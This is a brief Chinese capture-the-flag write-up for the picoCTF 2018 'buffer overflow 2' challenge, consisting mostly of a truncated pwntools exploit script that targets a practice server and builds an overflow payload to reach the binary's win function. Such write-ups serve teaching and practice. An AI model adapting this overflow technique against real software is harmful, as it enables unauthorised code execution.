PWN简单题题解
picoctf_2018_buffer overflow 2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import * from LibcSearcher import* # context(arch = 'amd64', os = 'linux', log_level = 'debug') context.log_level = 'debug' elf = ELF('./bin/PicoCTF_2018_buffer_overflow_2') p = remote('node4.buuoj.cn', 28842) # elf win = elf.symbols['win'] main_addr = elf.symbols['main'] a1 = 0x0DEADBEEF a2 = 0x0DEADC0DE print(p.recvline()) payload = b'a' * 0x6c...